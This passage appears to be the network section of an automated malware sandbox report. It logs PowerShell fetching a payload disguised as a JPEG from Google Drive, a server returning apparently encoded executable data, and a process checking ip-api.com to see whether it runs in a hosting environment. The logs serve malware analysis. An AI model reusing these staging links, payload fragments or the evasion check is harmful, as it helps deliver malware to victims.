Oct 24, 2024 08:59:27.703258038 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Wed, 23 Oct 2024 20:46:07 GMT Accept-Ranges: bytes ETag: "3ad7b6958c25db1:0" Server: Microsoft-IIS/10.0 Date: Thu, 24 Oct 2024 06:59:27 GMT Content-Length: 325632 Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8DUAAAAMAwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCN4TesJWblN3ch9CPK0gPvZmbJR3c1JHdvwDIgoQD+kHdpJXdjV2cvwDIgACIK0gPzV2ZlxWa2lm
Oct 24, 2024 08:59:27.703353882 CEST	1236	IN	Data Raw: 63 51 52 57 5a 30 4e 58 5a 31 46 58 5a 79 39 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 76 49 53 5a 7a 78 57 59 6d 4a 53 50 7a 4e 58 5a 6a 4e 57 51 70 56 48 49 69 49 58 5a 72 39 6d 64 75 6c 30 63 68 4a 53 50 73 56 6d 64 6c 78 47 49 73 56 6d 64 6c Data Ascii: cQRWZ0NXZ1FXZy9CPgACIgACIK0gPvISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkbvlGd1NWZ4VEZlR3clVXclJHPgACIgACIgAiCN4jIzYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegMXZnVGbpZXayBFZlR3clVXclJHPgACIgACIK0gP5RXayV3YlNHPgACIgoQD+IiM25
Oct 24, 2024 08:59:27.703408957 CEST	424	IN	Data Raw: 41 77 41 41 4d 41 45 41 41 41 45 41 2b 41 41 41 41 76 42 67 5a 41 34 47 41 4a 42 51 5a 41 77 47 41 70 42 67 52 41 63 47 41 75 42 51 61 41 49 48 41 30 42 77 55 41 45 41 41 41 49 41 48 45 41 4c 41 41 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 30 Data Ascii: AwAAMAEAAAEA+AAAAvBgZA4GAJBQZAwGApBgRAcGAuBQaAIHA0BwUAEAAAIAHEALAAAAAAAAAuBwbAkGA0BQYAwGAzBgbAEGAyBAVAAAAEAAJAAAAAAwbAYGAuBQSAUGAsBQaAYEAyBQYAYFABAAAAQEAAAAAAAAAAAAAAAAAAAQAAAAAEAAAAAAAAAwPAAAAAAQAAAAAAAAAAEAAAAQAAAg/vTQvAAAAAAwTAYEAOBQSA8FAOB
Oct 24, 2024 08:59:27.703455925 CEST	1236	IN	Data Raw: 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 41 41 51 42 41 41 41 67 42 67 41 41 41 49 41 41 41 41 51 41 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ABAAAAAAAAAAAAAAAAAAAACAAQBAAAgBgAAAIAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:59:27.703501940 CEST	1236	IN	Data Raw: 45 39 45 6f 45 68 4c 6f 45 4f 63 77 42 57 6b 49 67 53 41 41 41 46 34 51 4c 42 4b 52 48 42 41 77 42 49 67 51 4c 42 4b 52 48 74 45 6f 45 74 45 6f 45 64 67 67 44 48 63 51 45 68 45 52 49 52 49 67 41 41 63 51 67 41 4b 52 48 41 41 67 42 49 45 49 67 53 Data Ascii: E9EoEhLoEOcwBWkIgSAAAF4QLBKRHBAwBIgQLBKRHtEoEtEoEdggDHcQEhERIRIgAAcQgAKRHAAgBIEIgS0BCDcACA4RAZLoEVcAATgQACAiBA4RA9JRFGgAAegQBdgQ1CKhBHwQwCKBAgUQzCKRABAiBNLoEAAQBOUsgSEAAGggDOUZgSElEBLoE9KoEHcAEIgQdR4ABHcQDOEAAEgQDNIAAFsQDBAABLAAIDErgSEQtCKRFIA
Oct 24, 2024 08:59:27.703545094 CEST	424	IN	Data Raw: 41 41 6f 41 43 35 4a 52 2b 42 4b 68 44 64 30 61 67 53 34 51 41 4e 4a 52 46 47 63 67 45 49 67 67 44 64 34 51 41 4e 4a 52 46 4f 67 67 44 4f 34 51 48 59 46 6f 45 4f 45 51 54 53 55 78 43 48 6b 42 43 73 46 6f 45 73 46 6f 45 42 30 6b 45 56 4d 77 42 4e Data Ascii: AAoAC5JR+BKhDd0agS4QANJRFGcgEIggDd4QANJRFOggDO4QHYFoEOEQTSUxCHkBCsFoEsFoEB0kEVMwBNQWgREgCFUngRoQAAYwCOEAAEwVgREgCFgwBIgwBIgACIogCIgwCcFYEdgACIgwEHgBCD0BCIggDdgACIkwBNAWgREgCF0QDBAAB1JYELEAAGUngRcQAAYQdCGBCBAgB1JYE1JYE1JYECAwCIcACIcACK0hCIgwCIg
Oct 24, 2024 08:59:27.703598022 CEST	1236	IN	Data Raw: 43 49 67 41 43 49 34 51 48 49 67 41 43 4f 34 41 43 49 45 6e 67 53 55 51 41 4e 4a 52 46 52 63 67 47 49 4d 51 48 44 30 78 41 64 67 67 44 64 67 67 44 4f 6b 77 42 50 41 67 48 42 6f 41 42 63 34 51 41 67 51 41 43 74 4a 6f 45 43 63 67 42 31 34 6b 4e 74 Data Ascii: CIgACI4QHIgACO4ACIEngSUQANJRFRcgGIMQHD0xAdggDdggDOkwBPAgHBoABc4QAgQACtJoECcgB14kNtaFO/GDCO0hDOIAAGQnEBEOgRUxBIQnEBEOgRUBdSMwBMQnEB0kEVYACI4QHAFoEO4QBdUQHAGoEOUQHF0BgBKhDO4AC4FoEYFoEF0hDOAUgSEQTSUxFH8CCtGoEBAiBIggDdAUgS4gDF0RBdAYgS4QBdUQHAGoEO4
Oct 24, 2024 08:59:27.703809023 CEST	1236	IN	Data Raw: 45 56 63 41 44 42 4b 52 41 4e 4a 52 46 4f 49 51 59 52 55 42 44 42 4d 42 41 54 49 51 59 52 55 42 41 67 6f 41 44 42 4b 52 41 4e 4a 52 46 4f 49 51 56 43 47 52 46 4e 45 77 45 41 4d 68 41 56 4a 59 45 56 41 41 49 4c 77 51 67 53 45 51 54 53 55 68 44 43 Data Ascii: EVcADBKRANJRFOIQYRUBDBMBATIQYRUBAgoADBKRANJRFOIQVCGRFNEwEAMhAVJYEVAAILwQgSEQTSUhDC0lEVwADBKRANJRFOIQXSURAK4ACMEoEBEOgRUBDBKRANJRFOIQVCGRFAFoEB0kEVwQgSwQgSEQTSUhDCEWEVwQgSEQTSUhDC0lEVwUgS4QBd4gDAFoEB0kEV0wBJhQBdgACF0BCFAiCIElgSEdgS0kgSgQBdUQHF0
Oct 24, 2024 08:59:27.703855038 CEST	424	IN	Data Raw: 42 64 67 77 41 49 67 41 43 49 55 51 48 4f 77 77 42 51 67 77 41 64 4d 51 48 44 30 78 41 64 67 67 44 64 41 55 67 53 34 51 48 4f 34 67 44 4f 30 68 44 4f 30 42 43 4f 30 68 44 41 46 6f 45 42 30 6b 45 56 4d 78 42 6d 67 41 43 4f 30 42 43 4f 30 42 51 42 Data Ascii: BdgwAIgACIUQHOwwBQgwAdMQHD0xAdggDdAUgS4QHO4gDO0hDO0BCO0hDAFoEB0kEVMxBmgACO0BCO0BQBKhDO0hDO0hDAFoEB0kEVwwBagACO0BCO0hDd4gDO4gDO4QHO4QHAFoEB0kEVAxBdggDVIoEOUQHRHoEVIoEF0hDJcwEI4ACCAQBI4ACO4ACO4gDJcwCO4gABHYEVcgDOIQvBKRFHgwAdMQHD0xAd4gDCEcgRUhDOI
Oct 24, 2024 08:59:27.703902960 CEST	1236	IN	Data Raw: 48 42 45 41 49 46 4d 41 43 42 41 43 42 49 67 41 43 49 4d 51 48 49 67 77 42 48 6f 41 48 64 34 51 41 41 55 41 48 63 77 68 44 44 41 67 42 49 77 52 48 63 30 42 43 4f 30 42 43 4f 30 68 44 64 34 51 48 4f 67 67 44 4f 30 68 44 64 34 51 41 4e 4a 52 46 50 Data Ascii: HBEAIFMACBACBIgACIMQHIgwBHoAHd4QAAUAHcwhDDAgBIwRHc0BCO0BCO0hDd4QHOggDO0hDd4QANJRFPcQHA4RAlFoEVAgHdEQAQ0ACO4gAdJRFOIQwBGRFOEQ4AGRFAFoEB0kEVAUgS4AUBKhDd4gDB0kEVAUgSEQTSUxCHITDCGhDIIAIHAgHBUWgSUBAeEQTSURABABEOEgCDgAAeEQZBKRFA4RAlFoEVIQAQIhDIEAIEg
Oct 24, 2024 08:59:27.709222078 CEST	1236	IN	Data Raw: 58 53 55 68 44 43 45 63 67 52 55 42 44 42 4d 42 41 54 49 51 77 42 47 52 46 41 41 79 43 4f 34 67 41 64 4a 52 46 4f 49 51 76 42 4b 52 46 4d 45 77 45 41 4d 68 41 39 47 6f 45 56 41 41 49 4c 41 55 67 53 34 67 41 64 4a 52 46 49 67 41 51 42 4b 68 44 43 Data Ascii: XSUhDCEcgRUBDBMBATIQwBGRFAAyCO4gAdJRFOIQvBKRFMEwEAMhA9GoEVAAILAUgS4gAdJRFIgAQBKhDCkcgRUxAdAUgS4gABHYEV4gDC0lEV4gABHYEVAUgSAUgSUQHO4ACO0BQBKBQBKhDO4AQBKhDC0lEVAVgS4gDO4gDAFoEB0kEVkxBQhQtBKRAgYQsBKBAgUgDtGoEBAiBIMQHAFoEB0kEVAUgS4gDOgAWBKhDO4AQBK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49169	208.95.112.1	80	3136	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:59:28.842453003 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 24, 2024 08:59:29.436485052 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:59:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49166	216.58.212.174	443	3984	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:59:08 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-24 06:59:09 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 24 Oct 2024 06:59:08 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-w0OQf0Y6Lf7BzFUtDAmNeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49167	142.250.186.97	443	3984	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:59:10 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-24 06:59:12 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY3nz9cVAIOAy9WKqXgToGIZ4m0jPojs8lBy78uF2aIvPQ7kLw4hcnJaDT3vDPCBtmfWCkc9Cqaq2Q Date: Thu, 24 Oct 2024 06:59:12 GMT Expires: Thu, 24 Oct 2024 06:59:12 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-24 06:59:12 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-24 06:59:12 UTC	4885	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-24 06:59:12 UTC	1323	IN	Data Raw: 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 Data Ascii: I@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: d4 b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f Data Ascii: cf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: 70 0e 51 21 52 69 af da f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d Data Ascii: pQ!Ri9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: 8b 1a 88 d4 12 59 54 13 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c Data Ascii: YT['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: e6 f0 1a af 0a 7d 3c 28 c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb Data Ascii: }<(Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#
